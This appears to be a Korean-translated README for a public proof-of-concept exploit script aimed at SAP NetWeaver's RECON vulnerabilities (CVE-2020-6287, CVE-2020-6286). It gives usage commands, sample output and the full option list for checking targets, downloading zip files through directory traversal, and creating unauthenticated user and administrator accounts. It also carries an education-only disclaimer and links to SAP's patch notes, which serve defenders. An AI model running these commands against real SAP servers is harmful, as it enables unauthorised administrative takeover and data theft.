
CVE-2020-6287, CVE-2020-6286(SAP RECON 취약점)용 PoC
CVE-2020-6287, CVE-2020-6286 (SAP RECON 취약점)에 대한 PoC
Pffff! RECON(Remotely Exploitable Code On NetWeaver)이라고? 정말? 그게 최고의 코드네임이었어? :)
이 스크립트는 SAP LM Configuration Wizard의 인가 확인 누락 취약점을 확인하고, PoC 스크립트로서 queryProtocol 메소드의 디렉토리 트래버설을 악용합니다.
디렉토리 트래버설을 통해 SAP 서버에서 모든 zip 파일을 다운로드할 수 있습니다.
이 프로젝트는 교육 목적으로만 제작되었으며, 법 위반이나 개인적 이익을 위해 사용될 수 없습니다.
이 프로젝트의 저자는 이 프로젝트 자료로 인해 발생할 수 있는 어떠한 피해에 대해서도 책임을 지지 않습니다
최초 발견:
CVE-2020-6287: Pablo Artuso
CVE-2020-6286: Yvan 'iggy' G.
SAP NW AS Java 호스트명/IP를 지정하기만 하면 됩니다.
추가 옵션은 다음과 같습니다:
-c - SAP 서버가 RECON에 취약한지 확인-f - SAP 서버에서 zip 파일 다운로드-u - Authenticated User 역할을 가진 SAP JAVA 사용자 생성-a - 역할을 가진 SAP JAVA 사용자 생성Administrator예: zip 파일 다운로드
~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved
예: SAP JAVA 사용자 생성
~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created
예: SAP JAVA 관리자 사용자 생성
~python RECON.py -H 172.16.30.8 -a
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
Ok! Admin user were created
~python RECON.py -h
usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
[-u] [-a] [--timeout TIMEOUT] [-v]
PoC for CVE-2020-6287, (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy
Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner
Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Java NW host (default: 127.0.0.1)
-P PORT, --port PORT Java NW web port (default: tcp/50000)
-p PROXY, --proxy PROXY
Use proxy (ex: 127.0.0.1:8080)
-s, --ssl enable SSL
-c, --check just detect vulnerability
-f ZIPFILE, --zipfile ZIPFILE
ZIP file to read. CVE-2020-6286
-u, --user Create simple JAVA user. CVE-2020-6287
-a, --admin Create JAVA user with role "Administrator". CVE-2020-6287
--timeout TIMEOUT HTTP connection timeout in second (default: 10)
-v, --verbose verbose mode